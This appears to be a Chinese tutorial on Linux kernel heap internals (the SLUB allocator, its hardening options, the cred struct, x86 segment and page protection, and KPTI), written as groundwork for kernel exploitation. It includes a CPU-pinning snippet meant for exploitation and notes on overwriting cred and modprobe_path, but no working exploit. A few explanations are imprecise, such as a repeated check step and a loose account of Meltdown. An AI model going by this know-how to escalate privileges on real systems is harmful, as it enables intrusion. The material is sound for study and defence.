#define free_page(addr) free_pages((addr), 0)
1234

释放时需要特别注意参数,传递错误的 page 指针或者错误的 order 值会引起系统崩溃。free pages() 函数的第一个参数是待释放页面的 page 指针,第二个参数是 order__free _page() 函数用于释放单个页面。

slub

slub_allocator

相关数据结构

kmem_cache

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
struct kmem_cache {
/* 每个 CPU 的内存缓存的抽象 */
struct kmem_cache_cpu __percpu *cpu_slab;
/* Used for retriving partial slabs etc */
slab_flags_t flags;
unsigned long min_partial;
/* 每个对象本身元数据及包括对齐信息后所占据的内存长度 */
unsigned int size; /* The size of an object including meta data */
/* 每个对象本身元数据所占用的内存长度,创建 kmem_cache 时候传递进来的参数 */
unsigned int object_size;/* The size of an object without meta data */
unsigned int offset; /* Free pointer offset. */
#ifdef CONFIG_SLUB_CPU_PARTIAL
/* Number of per cpu partial objects to keep around */
/* 本地缓存池的空闲对象门槛值,超过这个值,就需要做释放动作 */
unsigned int cpu_partial;
#endif
/* 存放最优 slab 的阶数和对象数量。高16bit 是 slab 阶数,低 16bit 是 slab 中包含的对象数量 */
struct kmem_cache_order_objects oo;

/* Allocation and freeing of slabs */
/* 理论存放最大slab的阶数和对象数量,存放格式与 oo 一致。 */
struct kmem_cache_order_objects max;
/* 存放最小 slab 的阶数和对象数量,存放格式与 oo 一致。最优 slab 方案无法实现,那么就会尝试最小 slab 的方案 */
struct kmem_cache_order_objects min;
gfp_t allocflags; /* gfp flags to use on each alloc */
/* 表示 kmem_cache 是否处于使用状态 */
int refcount; /* Refcount for slab cache destroy */
void (*ctor)(void *);
unsigned int inuse; /* Offset to metadata */
unsigned int align; /* Alignment */
unsigned int red_left_pad; /* Left redzone padding size */
const char *name; /* Name (only for display!) */
struct list_head list; /* List of slab caches */
#ifdef CONFIG_SYSFS
struct kobject kobj; /* For sysfs */
struct work_struct kobj_remove_work;
#endif
#ifdef CONFIG_MEMCG
struct memcg_cache_params memcg_params;
/* for propagation, maximum size of a stored attr */
unsigned int max_attr_size;
#ifdef CONFIG_SYSFS
struct kset *memcg_kset;
#endif
#endif

#ifdef CONFIG_SLAB_FREELIST_HARDENED
unsigned long random;
#endif

#ifdef CONFIG_NUMA
/*
* Defragmentation by allocating from a remote node.
*/
unsigned int remote_node_defrag_ratio;
#endif

#ifdef CONFIG_SLAB_FREELIST_RANDOM
unsigned int *random_seq;
#endif

#ifdef CONFIG_KASAN
struct kasan_cache kasan_info;
#endif

unsigned int useroffset; /* Usercopy region offset */
unsigned int usersize; /* Usercopy region size */

struct kmem_cache_node *node[MAX_NUMNODES];
};

kmem_cache_cpu

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
struct kmem_cache_cpu {
/* 指向下一个可用的 object */
void **freelist; /* Pointer to next available object */
/* 用于做内核同步的 ID */
unsigned long tid; /* Globally unique transaction id */
/* 当前 CPU 正在访问的 slab 的首页 page 的地址 */
struct page * page; /* The slab from which we are allocating */
#ifdef CONFIG_SLUB_CPU_PARTIAL
/* 本地 slab 部分空闲链表 */
struct page *partial; /* Partially allocated frozen slabs */
#endif
#ifdef CONFIG_SLUB_STATS
unsigned stat[NR_SLUB_STAT_ITEMS];
#endif
};

kmem_cache_node

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
struct kmem_cache_node {
/* 自旋锁 */
spinlock_t list_lock;

#ifdef CONFIG_SLUB
/* 当前内存节点所包含 slab 的数量 */
unsigned long nr_partial;
/* 内存节点的 slab partial 链表,slub 对共享缓存,只用一条部分空闲链表管理 */
struct list_head partial;
#ifdef CONFIG_SLUB_DEBUG
atomic_long_t nr_slabs;
atomic_long_t total_objects;
struct list_head full;
#endif
#endif

};

slab 以页为基本单位切割,然后用单向链表(fd指针)串起来,类似用户态堆的 fastbin,每一个小块我们叫它 object 。

注意:object 的 freelist 指针偏移是 kmem_cache.offset 而不是 0,虽然大多数情况 kmem_cache.offset 默认为 0 。

1
2
3
4
5
6
7
8
9
10
static inline void set_freepointer(struct kmem_cache *s, void *object, void *fp)
{
unsigned long freeptr_addr = (unsigned long)object + s->offset;

#ifdef CONFIG_SLAB_FREELIST_HARDENED
BUG_ON(object == fp); /* naive detection of double free or corruption */
#endif

*(void **)freeptr_addr = freelist_ptr(s, fp, freeptr_addr);
}

object 结构如下图所示:
在这里插入图片描述

kmem_cache 创建

slub 分配器把伙伴系统提供的内存内存切割成特定大小的块,进行内核的小内存分配。

具体来说,内核会预先定义一些 kmem_cache 结构体,它保存着要如何分割使用内存页的信息,可以通过 cat /proc/slabinfo 查看系统当前可用的 kmem_cache

内核很多的结构体会频繁的申请和释放内存,用 kmem_cache 来管理特定的结构体所需要申请的内存效率上就会比较高,也比较节省内存。默认会创建 kmalloc-8kkmalloc-4k,… ,kmalloc-16kmalloc-8 这样的 cache ,kmem_cache 的名称以及大小使用 struct kmalloc_info_struct 管理。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
const struct kmalloc_info_struct kmalloc_info[] __initconst = { 
{NULL, 0}, {"kmalloc-96", 96},
{"kmalloc-192", 192}, {"kmalloc-8", 8},
{"kmalloc-16", 16}, {"kmalloc-32", 32},
{"kmalloc-64", 64}, {"kmalloc-128", 128},
{"kmalloc-256", 256}, {"kmalloc-512", 512},
{"kmalloc-1024", 1024}, {"kmalloc-2048", 2048},
{"kmalloc-4096", 4096}, {"kmalloc-8192", 8192},
{"kmalloc-16384", 16384}, {"kmalloc-32768", 32768},
{"kmalloc-65536", 65536}, {"kmalloc-131072", 131072},
{"kmalloc-262144", 262144}, {"kmalloc-524288", 524288},
{"kmalloc-1048576", 1048576}, {"kmalloc-2097152", 2097152},
{"kmalloc-4194304", 4194304}, {"kmalloc-8388608", 8388608},
{"kmalloc-16777216", 16777216}, {"kmalloc-33554432", 33554432},
{"kmalloc-67108864", 67108864}
};

这样内核调用 kmalloc 函数时就可以根据申请的内存大小找到对应的 kmalloc-xx ,然后在里面找可可用的内存块。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
static __always_inline int kmalloc_index(size_t size)
{
if (!size)
return 0;
if (size <= KMALLOC_MIN_SIZE)
return KMALLOC_SHIFT_LOW;
if (KMALLOC_MIN_SIZE <= 32 && size > 64 && size <= 96)
return 1;
if (KMALLOC_MIN_SIZE <= 64 && size > 128 && size <= 192)
return 2;
if (size <= 8) return 3;
if (size <= 16) return 4;
if (size <= 32) return 5;
if (size <= 64) return 6;
if (size <= 128) return 7;
if (size <= 256) return 8;
if (size <= 512) return 9;
if (size <= 1024) return 10;
if (size <= 2 * 1024) return 11;
if (size <= 4 * 1024) return 12;
if (size <= 8 * 1024) return 13;
if (size <= 16 * 1024) return 14;
if (size <= 32 * 1024) return 15;
if (size <= 64 * 1024) return 16;
if (size <= 128 * 1024) return 17;
if (size <= 256 * 1024) return 18;
if (size <= 512 * 1024) return 19;
if (size <= 1024 * 1024) return 20;
if (size <= 2 * 1024 * 1024) return 21;
if (size <= 4 * 1024 * 1024) return 22;
if (size <= 8 * 1024 * 1024) return 23;
if (size <= 16 * 1024 * 1024) return 24;
if (size <= 32 * 1024 * 1024) return 25;
if (size <= 64 * 1024 * 1024) return 26;
/* Will never be reached. Needed because the compiler may complain */
return -1;
}

创建默认的 kmem_cache 过程存在如下调用链:

1
2
3
4
5
6
7
x86_64_start_kernel()
x86_64_start_reservations()
start_kernel()
mm_init()
kmem_cache_init()
create_kmalloc_caches()
new_kmalloc_cache()

new_kmalloc_cache 中根据 kmalloc_info 的信息创建对应的 kmalloc_cache

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
static void __init
new_kmalloc_cache(int idx, int type, slab_flags_t flags)
{
const char *name;

if (type == KMALLOC_RECLAIM) {
flags |= SLAB_RECLAIM_ACCOUNT;
name = kmalloc_cache_name("kmalloc-rcl",
kmalloc_info[idx].size);
BUG_ON(!name);
} else {
name = kmalloc_info[idx].name;
}

kmalloc_caches[type][idx] = create_kmalloc_cache(name,
kmalloc_info[idx].size, flags, 0,
kmalloc_info[idx].size);
}

这里可以看到默认创建的 kmem_cache 的地址被保存在 kmalloc_caches 因此可以通过该结构获得 kmem_cache 的地址,从而获取到重要调试信息,比如 freelistobject 中的偏移 offset

image-20241115134915853

create_kmalloc_cache 函数调用了核心函数 create_boot_cache ,之后 list_add 将创建的 kmem_cache 加入到 slab_caches 链表中。内核全局有一个 slab_caches 变量,它是一个链表,系统所有的 kmem_cache 都接在这个链表上。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
struct kmem_cache *__init create_kmalloc_cache(const char *name,
unsigned int size, slab_flags_t flags,
unsigned int useroffset, unsigned int usersize)
{
struct kmem_cache *s = kmem_cache_zalloc(kmem_cache, GFP_NOWAIT);

if (!s)
panic("Out of memory when creating slab %s\n", name);

create_boot_cache(s, name, size, flags, useroffset, usersize);
list_add(&s->list, &slab_caches);
memcg_link_cache(s);
s->refcount = 1;
return s;
}

create_boot_cache 初始化了相关信息,之后调用 __kmem_cache_create

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
void __init create_boot_cache(struct kmem_cache *s, const char *name,
unsigned int size, slab_flags_t flags,
unsigned int useroffset, unsigned int usersize)
{
int err;

s->name = name;
s->size = s->object_size = size;
s->align = calculate_alignment(flags, ARCH_KMALLOC_MINALIGN, size);
s->useroffset = useroffset;
s->usersize = usersize;

slab_init_memcg_params(s);

err = __kmem_cache_create(s, flags);

if (err)
panic("Creation of kmalloc slab %s size=%u failed. Reason %d\n",
name, size, err);

s->refcount = -1; /* Exempt from merging for now */
}

__kmem_cache_create 调用了 kmem_cache_open 函数,该函数做了很多重要的初始化操作。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
/*
* calculate_sizes() determines the order and the distribution of data within
* a slab object.
*/
static int calculate_sizes(struct kmem_cache *s, int forced_order)
{
slab_flags_t flags = s->flags;
unsigned int size = s->object_size;
unsigned int order;

/*
* Round up object size to the next word boundary. We can only
* place the free pointer at word boundaries and this determines
* the possible location of the free pointer.
*/
size = ALIGN(size, sizeof(void *));

#ifdef CONFIG_SLUB_DEBUG
/*
* Determine if we can poison the object itself. If the user of
* the slab may touch the object after free or before allocation
* then we should never poison the object itself.
*/
if ((flags & SLAB_POISON) && !(flags & SLAB_TYPESAFE_BY_RCU) &&
!s->ctor)
s->flags |= __OBJECT_POISON;
else
s->flags &= ~__OBJECT_POISON;


/*
* If we are Redzoning then check if there is some space between the
* end of the object and the free pointer. If not then add an
* additional word to have some bytes to store Redzone information.
*/
if ((flags & SLAB_RED_ZONE) && size == s->object_size)
size += sizeof(void *);
#endif

/*
* With that we have determined the number of bytes in actual use
* by the object. This is the potential offset to the free pointer.
*/
s->inuse = size;

if (((flags & (SLAB_TYPESAFE_BY_RCU | SLAB_POISON)) ||
s->ctor)) {
/*
* Relocate free pointer after the object if it is not
* permitted to overwrite the first word of the object on
* kmem_cache_free.
*
* This is the case if we do RCU, have a constructor or
* destructor or are poisoning the objects.
*/
s->offset = size;
size += sizeof(void *);
}

#ifdef CONFIG_SLUB_DEBUG
if (flags & SLAB_STORE_USER)
/*
* Need to store information about allocs and frees after
* the object.
*/
size += 2 * sizeof(struct track);
#endif

kasan_cache_create(s, &size, &s->flags);
#ifdef CONFIG_SLUB_DEBUG
if (flags & SLAB_RED_ZONE) {
/*
* Add some empty padding so that we can catch
* overwrites from earlier objects rather than let
* tracking information or the free pointer be
* corrupted if a user writes before the start
* of the object.
*/
size += sizeof(void *);

s->red_left_pad = sizeof(void *);
s->red_left_pad = ALIGN(s->red_left_pad, s->align);
size += s->red_left_pad;
}
#endif

/*
* SLUB stores one object immediately after another beginning from
* offset 0. In order to align the objects we have to simply size
* each object to conform to the alignment.
*/
size = ALIGN(size, s->align);
s->size = size;
if (forced_order >= 0)
order = forced_order;
else
order = calculate_order(size);

if ((int)order < 0)
return 0;

s->allocflags = 0;
if (order)
s->allocflags |= __GFP_COMP;

if (s->flags & SLAB_CACHE_DMA)
s->allocflags |= GFP_DMA;

if (s->flags & SLAB_RECLAIM_ACCOUNT)
s->allocflags |= __GFP_RECLAIMABLE;

/*
* Determine the number of objects per slab
*/
s->oo = oo_make(order, size);
s->min = oo_make(get_order(size), size);
if (oo_objects(s->oo) > oo_objects(s->max))
s->max = s->oo;

return !!oo_objects(s->oo);
}

static int kmem_cache_open(struct kmem_cache *s, slab_flags_t flags)
{
s->flags = kmem_cache_flags(s->size, flags, s->name, s->ctor);
#ifdef CONFIG_SLAB_FREELIST_HARDENED
s->random = get_random_long();
#endif

if (!calculate_sizes(s, -1))
goto error;
if (disable_higher_order_debug) {
/*
* Disable debugging flags that store metadata if the min slab
* order increased.
*/
if (get_order(s->size) > get_order(s->object_size)) {
s->flags &= ~DEBUG_METADATA_FLAGS;
s->offset = 0;
if (!calculate_sizes(s, -1))
goto error;
}
}

#if defined(CONFIG_HAVE_CMPXCHG_DOUBLE) && \
defined(CONFIG_HAVE_ALIGNED_STRUCT_PAGE)
if (system_has_cmpxchg_double() && (s->flags & SLAB_NO_CMPXCHG) == 0)
/* Enable fast mode */
s->flags |= __CMPXCHG_DOUBLE;
#endif

/*
* The larger the object size is, the more pages we want on the partial
* list to avoid pounding the page allocator excessively.
*/
set_min_partial(s, ilog2(s->size) / 2);

set_cpu_partial(s);

#ifdef CONFIG_NUMA
s->remote_node_defrag_ratio = 1000;
#endif

/* Initialize the pre-computed randomized freelist if slab is up */
if (slab_state >= UP) {
if (init_cache_random_seq(s))
goto error;
}

if (!init_kmem_cache_nodes(s))
goto error;

if (alloc_kmem_cache_cpus(s))
return 0;

free_kmem_cache_nodes(s);
error:
if (flags & SLAB_PANIC)
panic("Cannot create slab %s size=%u realsize=%u order=%u offset=%u flags=%lx\n",
s->name, s->size, s->size,
oo_order(s->oo), s->offset, (unsigned long)flags);
return -EINVAL;
}
分配

f7f490f6f668b542aab003ec27135ad2

  • kmem_cache 刚刚建立,还没有任何对象可供分配,此时只能从伙伴系统分配一个 slab ,如下图所示。

    244cd82a22db3cb5168651580d622465

  • 如果正在使用的 slab 有 free obj,那么就直接分配即可,这种是最简单快捷的。如下图所示。

    df0e27a7cc01c0a1ab1b387409d7b8a4

  • 随着正在使用的 slab 中 obj 的一个个分配出去,最终会无 obj 可分配,此时 per cpu partial 链表中有可用 slab 用于分配,那么就会从 per cpu partial 链表中取下一个 slab 用于分配 obj。如下图所示。

    3b2a9a9ff98bb492fa0cfef2dc1490f6

  • 随着正在使用的 slab 中 obj 的一个个分配出去,最终会无 obj 可分配,此时 per cpu partial 链表也为空,此时发现 per node partial 链表中有可用 slab 用于分配,那么就会从 per node partial 链表中取下一个 slab 用于分配 obj。如下图所示。

    6.png

释放

06ab07e03d42cc6bd7f1079a157d0c6f

  • 假设下图左边的情况下释放 obj,如果满足 kmem_cache_node 的 nr_partial 大于 kmem_cache 的 min_partial 的话,释放情况如下图所示。
    8ee336b6de8e8263a5dfa2dad69c99dc
  • 假设下图左边的情况下释放 obj,如果不满足 kmem_cache_node 的 nr_partial 大于 kmem_cache 的 min_partial 的话,释放情况如下图所示。
    11bad950de73843bef8e1716a85bdb0c
  • 假设下图从 full slab 释放 obj 的话,如果满足 per cpu partial 管理的所有 slab 的 free object 数量大于 kmem_cache 的 cpu_partial 成员的话的话,将 per cpu partial 链表管理的所有 slab 移动到 per node partial 链表管理,释放情况如下图所示。
    583c765a6df44d6ffd56e4f506174318
  • 假设下图从 full slab 释放 obj 的话,如果不满足 per cpu partial 管理的所有 slab 的 free object 数量大于 kmem_cache 的 cpu_partial 成员的话的话,释放情况如下图所示。
    11.png

内核堆保护

SLAB_FREELIST_HARDENED

CONFIG_SLAB_FREELIST_HARDENED=y 编译选项开启 Hardened freelist 保护。在这个配置下,kmem_cache 增加了一个变量 random 。在 mm/slub.c 文件, kmem_cache_open 的时候给 random 字段一个随机数。

1
2
3
4
5
6
7
8
9
10
#ifdef CONFIG_SLAB_FREELIST_HARDENED
unsigned long random;
#endif

static int kmem_cache_open(struct kmem_cache *s, slab_flags_t flags)
{
s->flags = kmem_cache_flags(s->size, flags, s->name, s->ctor);
#ifdef CONFIG_SLAB_FREELIST_HARDENED
s->random = get_random_long();
#endif

set_freepointer 函数中加了一个 BUG_ON 的检查,这里是检查 double free 的,当前 free 的 object 的内存地址和 freelist 指向的第一个 object 的地址不能一样,这和 glibc 类似。

1
2
3
4
5
6
7
8
9
10
static inline void set_freepointer(struct kmem_cache *s, void *object, void *fp)
{
unsigned long freeptr_addr = (unsigned long)object + s->offset;

#ifdef CONFIG_SLAB_FREELIST_HARDENED
BUG_ON(object == fp); /* naive detection of double free or corruption */
#endif

*(void **)freeptr_addr = freelist_ptr(s, fp, freeptr_addr);
}

接着是 freelist_ptr ,它会返回当前 object 的下一个 free object 的地址, 加上 hardened 之后会和之前初始化的 random 值做异或。

1
2
3
4
5
6
7
8
9
10
11
static inline void *freelist_ptr(const struct kmem_cache *s, void *ptr,
unsigned long ptr_addr)
{
#ifdef CONFIG_SLAB_FREELIST_HARDENED

return (void *)((unsigned long)ptr ^ s->random ^
(unsigned long)kasan_reset_tag((void *)ptr_addr));
#else
return ptr;
#endif
}
SLAB_FREELIST_RANDOM

CONFIG_SLAB_FREELIST_RANDOM=y 编译选项开启 Random freelist 保护。这种保护主要发生在 slub allocator 向 buddy system 申请到页框之后的处理过程中,对于未开启这种保护的一张完整的 slub,其上的 object 的连接顺序是线性连续的,但在开启了这种保护之后其上的 object 之间的连接顺序是随机的,这让攻击者无法直接预测下一个分配的 object 的地址需要注意的是这种保护发生在slub allocator 刚从 buddy system 拿到新 slub 的时候,运行时 freelist 的构成仍遵循 LIFO。

Random_freelist

INIT_ON_ALLOC_DEFAULT_ON

当编译内核时开启了这个选项时,在内核进行“堆内存”分配时(包括 buddy system 和 slab allocator),会将被分配的内存上的内容进行清零,从而防止了利用未初始化内存进行数据泄露的情况。

GFP_KERNEL & GFP_KERNEL_ACCOUNT 的隔离

GFP_KERNELGFP_KERNEL_ACCOUNT 是内核中最为常见与通用的分配 flag,常规情况下他们的分配都来自同一个 kmem_cache ——即通用的 kmalloc-xx

在 5.9 版本之前GFP_KERNELGFP_KERNEL_ACCOUNT 存在隔离机制,在 这个 commit 中取消了隔离机制,自内核版本 5.14 起,在 这个 commit 当中又重新引入:

  • 对于开启了 CONFIG_MEMCG_KMEM 编译选项的 kernel 而言(默认开启),其会为使用 GFP_KERNEL_ACCOUNT 进行分配的通用对象创建一组独立的 kmem_cache ——名为 kmalloc-cg-\* ,从而导致使用这两种 flag 的 object 之间的隔离。
SLAB_ACCOUNT

根据描述,如果在使用 kmem_cache_create 创建一个 cache 时,传递了 SLAB_ACCOUNT 标记,那么这个 cache 就会单独存在,不会与其它相同大小的 cache 合并。

1
2
3
4
5
6
7
8
9
10
11
12
Currently, if we want to account all objects of a particular kmem cache,
we have to pass __GFP_ACCOUNT to each kmem_cache_alloc call, which is
inconvenient. This patch introduces SLAB_ACCOUNT flag which if passed to
kmem_cache_create will force accounting for every allocation from this
cache even if __GFP_ACCOUNT is not passed.

This patch does not make any of the existing caches use this flag - it
will be done later in the series.

Note, a cache with SLAB_ACCOUNT cannot be merged with a cache w/o
SLAB_ACCOUNT, i.e. using this flag will probably reduce the number of
merged slabs even if kmem accounting is not used (only compiled in).

在早期,许多结构体(如 cred 结构体)对应的堆块并不单独存在,会和相同大小的堆块使用相同的 cache。在 Linux 4.5 版本引入了这个 flag 后,许多结构体就单独使用了自己的 cache。然而,根据上面的描述,这一特性似乎最初并不是为了安全性引入的。

以下结构体都拥有独立的 cache

  • threadinfo
  • task_struct
  • task_delay_info
  • pid
  • cred
  • mm_struct
  • vm_area_struct and vm_region (nommu)
  • anon_vma and anon_vma_chain
  • signal_struct
  • sighand_struct
  • fs_struct
  • files_struct
  • fdtable and fdtable->full_fds_bits
  • dentry and external_name
  • inode for all filesystems
STATIC_USERMODEHELPER

禁掉了对于 modprobe_pathcore_pattern 的利用(只读区域)

CONFIG_INIT_ON_ALLOC_DEFAULT_ON

当编译内核时开启了这个选项时,在内核进行“堆内存”分配时(包括 buddy system 和 slab allocator),会将被分配的内存上的内容进行清零,从而防止了利用未初始化内存进行数据泄露的情况。

绑核

对于多核cpu而言,为了调试和利用方便,我们一般要进行绑核操作,即将进程的堆块分配绑定在某一个核上,从而减轻分配和释放导致的堆块乱序。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#define __USE_GNU

#include <sched.h>

void bind_cpu(int core) {
cpu_set_t cpu_set;

CPU_ZERO(&cpu_set);
CPU_SET(core, &cpu_set);
sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);
}
...
int main()
{
bind_cpu(sched_getcpu());
...
}

进程权限管理

这部分关于进程较为详细的讲解在这里

kernel 记录了进程的权限,更具体的,是用 cred 结构体记录的,每个进程中都有一个 cred 结构,内核会通过进程的 task_struct 结构体中的 cred 指针来索引 cred 结构体,然后根据 cred 的内容来判断一个进程拥有的权限,这个结构保存了该进程的权限等信息,如果能修改某个进程的 cred,那么也就修改了这个进程的权限。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
struct cred {
atomic_t usage;
#ifdef CONFIG_DEBUG_CREDENTIALS
atomic_t subscribers; /* number of processes subscribed */
void *put_addr;
unsigned magic;
#define CRED_MAGIC 0x43736564
#define CRED_MAGIC_DEAD 0x44656144
#endif
kuid_t uid; /* real UID of the task */
kgid_t gid; /* real GID of the task */
kuid_t suid; /* saved UID of the task */
kgid_t sgid; /* saved GID of the task */
kuid_t euid; /* effective UID of the task */
kgid_t egid; /* effective GID of the task */
kuid_t fsuid; /* UID for VFS ops */
kgid_t fsgid; /* GID for VFS ops */
unsigned securebits; /* SUID-less security management */
kernel_cap_t cap_inheritable; /* caps our children can inherit */
kernel_cap_t cap_permitted; /* caps we're permitted */
kernel_cap_t cap_effective; /* caps we can actually use */
kernel_cap_t cap_bset; /* capability bounding set */
kernel_cap_t cap_ambient; /* Ambient capability set */
#ifdef CONFIG_KEYS
unsigned char jit_keyring; /* default keyring to attach requested
* keys to */
struct key *session_keyring; /* keyring inherited over fork */
struct key *process_keyring; /* keyring private to this process */
struct key *thread_keyring; /* keyring private to this thread */
struct key *request_key_auth; /* assumed request_key authority */
#endif
#ifdef CONFIG_SECURITY
void *security; /* LSM security */
#endif
struct user_struct *user; /* real user ID subscription */
struct user_namespace *user_ns; /* user_ns the caps and keyrings are relative to. */
struct ucounts *ucounts;
struct group_info *group_info; /* supplementary groups for euid/fsgid */
/* RCU deletion */
union {
int non_rcu; /* Can we skip RCU deletion? */
struct rcu_head rcu; /* RCU deletion hook */
};
} __randomize_layout;

一个进程而言应当有三个 cred

  • ptracer_cred: 使用 ptrace 系统调用跟踪该进程的上级进程的 cred( gdb 调试便是使用了这个系统调用,常见的反调试机制的原理便是提前占用了这个位置)。
  • real_cred:即客体凭证(objective cred),通常是一个进程最初启动时所具有的权限。
  • cred:即主体凭证(subjective cred),该进程的有效 credkernel 以此作为进程权限的凭证。

一个 cred 结构体中记载了一个进程四种不同的用户 ID:

  • 用户真实 ID(real UID):标识一个进程启动时的用户 ID
  • 保存用户 ID(saved UID):标识一个进程最初的有效用户 ID
  • 有效用户 ID(effective UID):标识一个进程正在运行时所属的用户 ID
  • 文件系统用户 ID(UID for VFS ops):标识一个进程创建文件时进行标识的用户 ID

通常情况下这四个值都是相同的。用户组 ID 同样分为四个:真实组、保存组、有效组、文件系统组与上面类似。

权限保护机制

段保护机制

  • 段(Segment) 是 x86 架构中内存管理的基础单元。每个段定义了一个线性地址范围,程序通过段选择子和偏移量访问内存。
  • CPU 使用段保护机制,通过段选择子(Segment Selector)和段描述符(Descriptor)来控制不同权限级别(Ring)的内存访问,防止越权操作。

段选择子(Segment Selector)

段选择子是存储在 CPU 段寄存器(代码段 cs、数据段 ds、栈段 ss 等)中的低 16 位值,标识了当前程序使用的段。它是程序访问内存段的入口,索引全局或局部段描述符表(GDT 或 LDT)。

段选择子的格式如下:

img

  • Index(段索引,13 位):指向段描述符表(GDT 或 LDT)中的一个条目,标识具体的段。
  • TI(Table Indicator,1 位):决定段描述符表的类型:
    • 值为 0 表示选择 GDT(Global Descriptor Table,全局描述符表)
    • 值为 1 表示选择 LDT(Local Descriptor Table,局部描述符表)
  • RPL(Requested Privilege Level,请求权限级别,2 位)
    • 指定程序期望访问目标段时的权限级别,范围为 0-3
    • 通常,RPL 由调用方设定,用于在段访问中动态降低权限。

段描述符(Descriptor)

每个段在 GDT 或 LDT 中对应一个段描述符。描述符包含了段的基地址、大小、类型和权限等信息。

段描述符的格式如下:

img

  • Base Address(基地址,32 位):段的起始地址。在 64 位模式下,基地址通常被固定为 0,即扁平内存模型。

  • Segment Limit(段大小,20 位):定义段的大小(单位为字节)。在 64 位模式下,通常被忽略,因为地址空间被扩展到 48 位或更高。

  • Access Rights(访问权限,8 位):包含段的类型和权限字段:

    • 类型位(Type):定义段的用途,如代码段、数据段或系统段。不同的类型有不同的内存权限。

    • S 位(Descriptor Type)

      :区分系统段(S=0)和普通段(S=1)。

      • S = 0:系统段(System Segment),包含特定于系统使用的结构或功能,例如任务状态段(TSS)、中断描述符表(IDT)或局部描述符表(LDT)。
      • S = 1:代码段或数据段,表示常规的用户态或内核态段,用于存储可执行代码或数据。
    • DPL(Descriptor Privilege Level):段的权限级别,范围为 0-3,表示对该段的访问要求。

权限类型

  • CPL(Current Privilege Level)
    • 表示当前程序的运行权限级别,通常由 CS 寄存器的低两位(代码段段选择子)决定。
    • CPL 的值必须低于或等于段描述符中的 DPL 才能访问该段。
  • RPL(Requested Privilege Level)
    • 请求访问段时指定的权限级别。通常由访存时使用的段寄存器的段选择子决定
    • RPL 的值不能高于段的 DPL。
  • DPL(Descriptor Privilege Level)
    • 描述符中定义的段权限级别。

简单总结一下,就是当前的执行代码的权限(CPL)和请求访问内存的权限(RPL)都不能低于(值要小于等于)段描述符描述的目标内存的权限。

权限检查过程

这里以 mov rax, qword ptr ds:[0xdeadbeef] 为例介绍一下段保护机制权限检查的过程。

  1. 读取 DS 段选择子:CPU 从 DS 段寄存器中读取段选择子的值。
  2. 读取段描述符:CPU 从 DS 段寄存器中读取段选择子的值。这里先根据段选择子的 TI 位确定是 GDT,然后根据 Index 字段中 GDT 中找到段描述符。
  3. 检查 S 位(Descriptor Type):因为是访存操作,所以要求 S 位为 1(数据段)。
  4. 检查 RPL(Requested Privilege Level):CPU 会比较 max(CPL, RPL) 和目标段描述符的 DPL(Descriptor Privilege Level)。如果结果大于目标段的 DPL,则触发 **General Protection Fault (GPF)**。
  5. 检查段描述符类型:根据段描述符的 Access Rights 字段的类型位(Type)确认操作(读取数据)符合段的权限(RW 位)。

页保护机制

在 64 位系统(如 x86_64 架构)中,页保护机制是内存管理的核心,通过分页(Paging)机制实现虚拟地址到物理地址的映射,同时提供细粒度的权限控制(例如用户空间与内核空间的隔离)。

提示

关于分页机制会在内存管理部分详细介绍,这里仅介绍权限管理相关内容。

权限字段

每个页表条目(Page Table Entry, PTE)包含物理地址和权限信息:

  • P(Present):第 0 位,表示页是否有效。如果为 0,表示页不在内存中(可能在磁盘上),访问时会触发 Page Fault
  • R/W(Read/Write):第 1 位,表示页是否可写。如果为 0,则该页只读。
  • U/S(User/Supervisor):第 2 位,表示用户态(Ring 3)是否可以访问:
    • U = 1:用户态可访问。
    • U = 0:仅内核态(Ring 0)可访问。
  • NX(No Execute):第 63 位,表示页是否可执行:如果为 1,则该页不可执行(需要 CPU 支持 NX 位)。

Linux 的 KPTI 机制

Kernel Page Table Isolation(KPTI) 是一种内核内存隔离机制,用于解决 Meltdown 漏洞

Meltdown 是一种硬件级漏洞,该漏洞利用了现代处理器的分支预测和缓存特性,可以通过侧信道攻击绕过用户态与内核态的隔离,使得用户态程序可以读取内核内存中的敏感数据。

  • 当用户态访问内核地址时,尽管会触发权限检查失败,但在实际触发前,CPU 已经通过分支预测机制将数据加载到缓存中。
  • 攻击者可以通过读取缓存侧信道(如时间测量等技术)获取这些数据。

KPTI 的核心思想是:

  • 在用户态运行时,将内核页表从地址空间中隔离,防止用户态程序对内核地址空间的任何访问。
  • 仅在需要切换到内核态时(如系统调用或中断处理),恢复内核页表。

在传统未开启 KPTI 的 Linux 系统中,内核页表和用户页表共存于同一张全局页表(PGD)。开启 KPTI 后,内核为用户态和内核态分别维护两张独立的页全局目录(PGD)。

  • 内核页表:包含用户和内核地址空间的完整映射。
  • 用户页表:完整映射用户地址空间。但内核地址空间仅保留必要的条目(如系统调用入口和中断处理)。

由于每张页全局目录表占用 4 KB,两张页表连续分配在内存中,因此两张全局页目录表的地址仅在第 13 位不同。

img

